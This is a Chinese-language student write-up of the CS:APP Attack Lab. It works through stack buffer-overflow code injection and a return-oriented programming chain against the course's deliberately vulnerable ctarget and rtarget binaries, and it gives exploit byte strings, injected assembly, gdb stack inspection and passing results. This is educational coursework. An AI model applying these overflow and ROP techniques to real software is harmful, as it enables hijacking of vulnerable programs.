CS:APP:Lab3-ATTACK
0. 環境要求
關於環境已經在lab1里配置過了。lab1的連接如下
實驗的下載地址如下
說明文檔如下 http://csapp.cs.cmu.edu/3e/attacklab.pdf

這是實驗的分數和一些簡介下面就開始我們的實驗吧
1. Part I: Code Injection Attacks
1.1 Level 1
對於第一個我們不需要注入新的代碼。只需要重定向我們的程序就可
1 void test()
2 {
3 int val;
4 val = getbuf();
5 printf("No exploit. Getbuf returned 0x%x\n", val);
6 }
這是初試的test程序我們運行程序之后。輸入字符串就會執行printf 這里注意我們運行要./ctarget -q因為我們沒有辦法連接到cmu的遠程判定程序。下面是我們亂輸的測試
[root@cadc591c8a87 attack]# ./ctarget -q
Cookie: 0x59b997fa
Type string:baba
No exploit. Getbuf returned 0x1
而本實驗的要求是要我們改變上面的行為。當我們輸入完字符串之后執行下面的touch1而不是上面的printf
1 void touch1()
2 {
3 vlevel = 1; /* Part of validation protocol */
4 printf("Touch1!: You called touch1()\n");
5 validate(1);
6 exit(0);
7 }
本題就是利用一個基本的緩沖區溢出把getbuf的返回地址設置成touch1的地址。cmu的官網給了我們一些小建議
- 利用
objdump -d ./ctarget>>ctarget.s得到匯編代碼 - 思路是將
touch1的開始地址,放在某個位置,以實現當ret指令被getbuf執行后會將控制權轉移給touch1 - 一定要注意字節序
- 你可以使用
gdb設置斷點來進行調試。並且gcc會影響棧幀中buf存放的位置。需要注意
這里再附上gdb的常用操作命令
1.分析test匯編代碼
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 retq
這里首先分配棧幀然后調用getbuf 隨后把返回值賦給了edx ox403188賦給esi 可以相當這個應該是printf的字符check一下
(gdb) p (char*)0x403188
$1 = 0x403188 "No exploit. Getbuf returned 0x%x\n"
發現果然是這樣。
2. 分析一下getbuf
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
可以發現getbuf分配了大小為40字節的緩沖區然后把調用gets把讀入的字符串放到緩沖區中。

可以發現我們只要把getbuf的返回地址設置成touch1的地址=0x4017c0就可。這里getbuf的緩沖區為40字節。我們可以前40個字節亂輸。只需要后面的值為4017c0即可。我們構造一個txt文件用來輸入touch1.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
這里注意一下次序。我們把這個輸入之后getbuf的緩沖區會變成下圖這樣

來試試我們的這個輸入吧./hex2raw < touch1.txt | ./ctarget -q
[root@cadc591c8a87 attack]# ./hex2raw < touch1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 66 11 22 66 66 66 66 66 66 66 66 22 66 33 66 33 66 66 66 00 66 11 66 44 22 11 22 66 66 66 33 66 66 55 66 66 66 66 66 C0 17 40 00 00 00 00 00 00 00
[root@cadc591c8a87 attack]#
1.2 Level2
phase2需要我們注入一小段代碼。來完成字符串漏洞攻擊
touch2的代碼如下
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
本題的任務就是要我們在getbuf之后直接ret到touch2里面而不是繼續執行test大概任務和第一個一樣。只不過方法不太一樣。cmu的官方文檔又給了我們一些建議
touch2的參數val是利用rdi寄存器進行傳遞的- 你要利用某種方式讓
getbuf的返回地址為touch2的地址 - 你的注入代碼的傳入參數應該等於
cookie的值。 - 不要在注入代碼內調用
ret或者call - 請參見附錄B中有關如何使用工具生成字節級表示形式的指令序列的討論。
附錄B就在說明文檔的最下方。在附上一個說明文檔的地址
1.分析touch2
這里getbuf分配的棧幀和上面的一樣。就不在畫出了(主要是畫的太丑了)
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
其實touch2的邏輯非常簡單。就是比較我們傳入的參數val是否等於cookie的值。如果等於就可以通過。所以本題的關鍵就是在改變返回地址前也設置rdi寄存器的值。因此我們可以很容易的想到我們要插入的匯編代碼是什么
movq $0x59b997fa, %rdi
pushq 0x4017ec
ret
再利用下面的操作查看他的字節序表示
gcc -c l2.s
objdump -d l2.o
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: ff 34 25 ec 17 40 00 pushq 0x4017ec
e: c3 retq
下面的問題就變成了我們如何執行這段代碼。聯想第一個題我們應該利用緩沖區溢出的方法。
我們繼續看一下getbuf的匯編代碼
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
這里把%rsp賦給了rdi然后調用了gets 我們需要check一下rsp在這里打一個端點
(gdb) b *0x4017ac
Breakpoint 1 at 0x4017ac: file buf.c, line 14.
(gdb) r -q
Starting program: /csapp/attack/ctarget -q
warning: Error disabling address space randomization: Operation not permitted
Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-127.el8.x86_64
Cookie: 0x59b997fa
(gdb) info r rsp
rsp 0x5561dc78 0x5561dc78
我們發現rsp的地址為0x5561dc78 是不是有點想法可以開始寫了。
我們可以讓執行完getbuf之后回到rsp的這里。然后把我們要執行的三行匯編代碼執行。就可以成功執行touch2了。這樣我們的輸入流就如下圖。
48 c7 c7 fa 97 b9 59 68 <-讀入我們要執行的匯編語句
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 <-返回地址為rsp
來試試能不能通過。發現可以正常通過
[root@cadc591c8a87 attack]# ./hex2raw < touch2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
下面畫一個我們這樣的輸入之后的棧幀幫助大家理解
這里轉ASCLL太難了就不轉了
| getbuf的返回地址 | 00 00 00 00 55 61 dc 78 |
|---|---|
| rsp+20 | 00 00 00 00 00 00 00 00 |
| rsp+18 | 00 00 00 00 00 00 00 00 |
| rsp+10 | 00 00 00 00 00 00 00 00 |
| rsp+8 | 00 00 00 c3 00 40 17 ec |
| rsp | 68 59 b9 97 fa c7 c7 48 |
這里rsp的地址就為0x5561dc78 所以我們返回地址是會返回到rsp這里然后執行我們的三條匯編代碼
movq $0x59b997fa, %rdi
pushq 0x4017ec
ret
1.3 Level3
level3也是要進行代碼注入。但是這里要注入一個string。
hexmatch和touch3的代碼如下。代碼分析直接寫到注釋里面了
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val); //s=val=cookie
return strncmp(sval, s, 9) == 0; //比較cookie和第二個參數的前9位是否相同
// cookie只有8字節。這里為9的原因是我們要比較最后一個是否為'\0'
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) { //相同則成功
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
任務: 你的任務getbuf之后執行touch3而不是繼續執行test。你必須要傳遞cookie字符串作為參數
一些小建議
- 你需要在利用緩沖區溢出的字符串中包含
cookie的字符串表示形式。該字符串應該有8個十六進制數組成。注意沒有前導0x - 注意在c語言中的字符串表示會在末尾處加一個
\0 - 您注入的代碼應將寄存器%rdi設置為此字符串的地址
- 調用函數hexmatch和strncmp時,它們會將數據壓入堆棧,從而覆蓋存放
getbuf使用的緩沖區的內存部分。 因此,您需要注意在哪里放置您的Cookie字符串
1.簡單分析touch3
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
邏輯非常簡單首先把rdi的值傳遞給rsi然后把cookie的值傳遞給rdi調用hexmatch函數。這里rsi的值應該就是我們的字符串數組的起始地址。
這里我們注意hexmatch函數里也開辟了棧幀。並且還有隨機棧偏移動。可以說字符串s的地址我們是沒法估計 的。並且提示中告訴了我們hexmatch和strncmp函數可能會覆蓋我們getbuf的緩沖區。所以我們的注入代碼要放在一個安全的位置。我們可以把它放到text的棧幀中。我們在getbuf分配棧幀之前打一個斷點。
b *0x4017a8
(gdb) b *0x4017a8
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) r -q
Starting program: /csapp/attack/ctarget -q
warning: Error disabling address space randomization: Operation not permitted
Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-127.el8.x86_64
Cookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:12
12 buf.c: No such file or directory.
(gdb) info r rsp
rsp 0x5561dca0 0x5561dca0
可以發現我們text的rsp地址現在為0x5561dca0 可以發現這里面存儲了本來getbuf的返回地址也就下一條指令
(gdb) x 0x5561dca0
0x5561dca0: 0x00401976
//正常的getbuf會返回到如下
0x401976: 89 c2 mov %eax,%edx
這里分析一下getbuf剛分配完之后的棧幀。這里需要停下來整理一下
| 0x5561dca8 | |
|---|---|
| 0x5561dca0 getbuf的返回地址(text的棧幀) | 00 00 00 00 00 40 19 76 |
| rsp+20(getbuf的棧幀) | 00 00 00 00 00 00 00 00 |
| rsp+18(getbuf的棧幀) | 00 00 00 00 00 00 00 00 |
| rsp+10(getbuf的棧幀) | 00 00 00 00 00 00 00 00 |
| rsp+8(getbuf的棧幀) | 00 00 00 00 00 00 00 00 |
| rsp(getbuf的棧幀) | 00 00 00 00 00 00 00 00 |
由於我們在調用touch3的時候只需要傳遞給他一個字符串數組的起始地址這里我們可以利用緩沖區溢出把cookie的字符串輸入到0x5561dca8 然后在利用緩沖區溢出把getbuf的返回地址設置成rsp的地址。利用level2的技巧執行我們的匯編指令。
movq $0x5561dca8 %rdi
pushq 0x4018fa
retq
看一下這段匯編代碼的字節表示
[root@cadc591c8a87 attack]# gcc -c l3.s
l3.s: Assembler messages:
l3.s: Warning: end of file not at end of a line; newline inserted
[root@cadc591c8a87 attack]# objdump -d l3.o
l3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq 0x4018fa
e: c3 retq
好現在開始構造我們的輸入。這里先看一下cookie的ascll表示35 39 62 39 39 37 66 61好了下面開始我們的輸入構造
48 c7 c7 a8 dc 61 55 68 <-讀入我們要執行的匯編語句
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 <-返回地址為rsp
來試試能不能通過。發現可以正常通過
[root@cadc591c8a87 attack]# ./hex2raw < touch3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61
下面還是通過一個棧幀來分析一下發生了什么。
| 0x5561dca8 (存儲了字符串數組) | 61 66 37 39 39 62 39 35 |
|---|---|
| 0x5561dca0 getbuf的返回地址(text的棧幀) | 00 00 00 00 55 61 dc 78 |
| rsp+20(getbuf的棧幀) | 00 00 00 00 00 00 00 00 |
| rsp+18(getbuf的棧幀) | 00 00 00 00 00 00 00 00 |
| rsp+10(getbuf的棧幀) | 00 00 00 00 00 00 00 00 |
| rsp+8(getbuf的棧幀) | 00 00 00 c3 00 40 18 fa |
| rsp(getbuf的棧幀) | 68 55 61 dc a8 c7 c7 48 |
2. Part II: Return-Oriented Programming
介紹
關於第二部分有一大段介紹。在上面點實驗說明文檔里就有。這里對它簡單解釋一下
對程序RTARGET進行代碼注入攻擊比對CTARGET進行難度要大得多,因為它使用兩種技術來阻止此類攻擊:
- 隨機棧偏移。這讓我們很難找到程序的地址
- 標記為不可執行區域。這使得我們的攻擊代碼無法被執行。
具體解釋可以看下面的截圖(截圖來自於hit的csapp第三章ppt

在這樣的限制下,我們不能使用代碼注入的方式來進行攻擊了,Write up中介紹了ROP這種方式,大致的思想就是我們把棧中放上很多地址,而每次ret都會到一個Gadget(小的代碼片段,並且會ret),這樣就可以形成一個程序鏈。通過將程序自身(./rtarget)的指令來完成我們的目的。

2.1 level2
對於第4階段,您將重復第2階段的攻擊,但使用來自您的小工具的程序RTARGET進行此攻擊。 您可以使用由以下指令類型組成的小工具(gadgets)來構造解決方案,並且僅使用前八個x86-64寄存器(%rax–%rdi)。
movq : The codes for these are shown in Figure 3A.
popq : The codes for these are shown in Figure 3B.
ret : This instruction is encoded by the single byte 0xc3.
nop : This instruction (pronounced “no op,” which is short for “no operation”) is encoded by the single
byte 0x90. Its only effect is to cause the program counter to be incremented by 1.
一些建議
-
所有你需要的
gadgets你都可以 found in the region of the code for rtarget demarcated by the functions start_farm and mid_farm.所以這里我們把
rtaget反匯編objdump -d rtarget >r.txt -
你只可以用兩個
gadgets -
當一個小
gadgets使用pop指令。你的exploit string中必須含有一個地址和data

同時本題給了一些對於匯編代碼的encoding例子

這里在放一下任務2的代碼。我們只需要讓傳入的第一個參數R[%rdi]=cookie就ok了
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
通過上面的圖我們可以知道

popq 5f //就是可以popq rdi
在rtarget里面我們發現這樣的代碼果然出現了
402b18: 41 5f pop %r15
402b1a: c3 retq
所以我們就可以構建我們的答案了。只要讓pop的值等於cookie的值。然后在ret之前把地址改成touch2的地址。
@le2.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 #pop %rdi
fa 97 b9 59 00 00 00 00 #cookie
ec 17 40 00 00 00 00 00 #touch2
我們測試一下我們的結果./hex2raw < le2.txt | ./rtarget -q
[root@cadc591c8a87 attack]# ./hex2raw < le2.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 2B 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 EC 17 40 00 00 00 00 00
2.2 Level3
這個是整個實驗的第五關。官網上說你到這里已經獲得了95分了。如果你不想繼續的話就可以停止了。咳咳咳本着求知的目的我們還是把這個實驗完成吧。看起來第五關難度應該很大
階段5要求您對RTARGET進行ROP攻擊,以使用指向cookie字符串的指針來調用函數touch3
touch3的代碼如下
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val); //s=val=cookie
return strncmp(sval, s, 9) == 0; //比較cookie和第二個參數的前9位是否相同
// cookie只有8字節。這里為9的原因是我們要比較最后一個是否為'\0'
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) { //相同則成功
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
行了最后一點我做不出來了。網上有非常多的參考。這里就不寫了。。。(真菜啊我)
Summary
除了最后一個實驗。其他的只要好好讀書,認真理解應該都能夠做出來的。最后一個主要是中間隔了太久了。沒有想做的欲望了。直接去網上查了別人的這里就不做復制工作了。第四個實驗一定會認真做的
